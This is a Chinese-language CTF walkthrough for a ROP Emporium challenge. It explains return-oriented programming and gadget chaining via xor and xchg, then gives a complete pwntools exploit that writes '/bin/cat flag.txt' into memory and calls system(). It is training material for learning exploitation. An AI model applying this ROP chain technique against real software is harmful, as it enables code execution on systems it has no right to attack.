前言
1.关于ROP
ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)
ROP是一种攻击技术,其中攻击者使用堆栈的控制来在现有程序代码中的子程序中的返回指令之前,立即间接地执行精心挑选的指令或机器指令组。
2. 本系列rop实战题目的背景
来自ROPEmporium
旨在通过解决一系列挑战来一步步进阶学习ROP利用技术。
操作
先看一下基本信息
然后载入r2分析
分别看看pwnme和usefulFunction
可以看到这些结构和之前的关卡基本相同
那覆盖rsp所需的偏移量呢?
可以自己做一遍
这里直接给出答案,偏移量还是40字节
然后使用ropgadget找到有用的gadget
首先我们要找到一个gadget用于将字符串写入内存
mov适合的似乎只有下面这一条
如果用了这一条,那么下一个要解决的问题就是怎么将值写入r10、r11寄存器呢
似乎没有可直接写的办法,这时候我们常用的解决办法就是组合多个gadget以将值写入r10为例,我们看看该如何操作
那么这里就需要注意了,按照前面的默认命令,其实ropgadget的搜索深度是10
既然我们需要组合多个gadget,既然越多越多,所以我们可以加上—depth 20,将深度设为20
首先清空r11,有两个办法,要么置零,要么与自身异或
我们看看gadget里有没有符合的
找到了
接下来把地址pop到r12里
对应的gadget为
前面r11已经是0了,我们将r12与r11异或,这样其实就相当于间接地使用了mov,将值写入了r11
对应的gadget为
然后使用xchg交换r11和r10寄存器的值,这样就相当于将地址写到了r10寄存器中
这样就实现了我们的目的
做完这部分工作之后,我们只需pop rdi,ret,字符串的地址作为system()参数传入,再调用system()就可以了
完整代码在6.py
from pwn import *
def place_address(address):
payload = p64(0x0000000000400822) # xor r11, r11; pop r14; mov edi, 0x601050; ret;
payload += p64(0) # Unused pop r14
payload += p64(0x0000000000400832) # pop r12; mov r13d, 0x604060; ret;
payload += p64(address)
payload += p64(0x000000000040082f) # xor r11, r12; pop r12; mov r13d, 0x604060; ret;
payload += p64(0) # Unused pop r12
payload += p64(0x0000000000400840) # xchg r11, r10; pop r15; mov r11d, 0x602050; ret;
payload += p64(0) # Unused pop r15
return payload
def place_data(data):
payload = p64(0x0000000000400822) # xor r11, r11; pop r14; mov edi, 0x601050; ret;
payload += p64(0) # Unused pop r14
payload += p64(0x0000000000400832) # pop r12; mov r13d, 0x604060; ret;
payload += data # String to be putted
payload += p64(0x000000000040082f) # xor r11, r12; pop r12; mov r13d, 0x604060; ret;
payload += p64(0) # Unused pop r12
return payload
def write_data(string, address):
while len(string) % 8 != 0:
string += "\x00"
splitted_string = [string[i:i + 8] for i in range(0, len(string), 8)]
payload = ""
for i in range(len(splitted_string)):
# Put address into r10 register
payload += place_address(address + (i * 8))
# Now we have to put actual data in r11
payload += place_data(splitted_string[i])
# Write data to address
payload += p64(0x000000000040084e) # mov qword ptr [r10], r11; pop r13; pop r12; xor byte ptr [r10], r12b; ret;
payload += p64(0) * 2 # Unused pop r13 and pop r12
return payload
offset = cyclic(40)
offset += write_data("/bin/cat flag.txt", 0x601050)
offset += p64(0x00000000004008c3)
offset += p64(0x601050)
offset += p64(0x00400810)
print(offset)
运行如图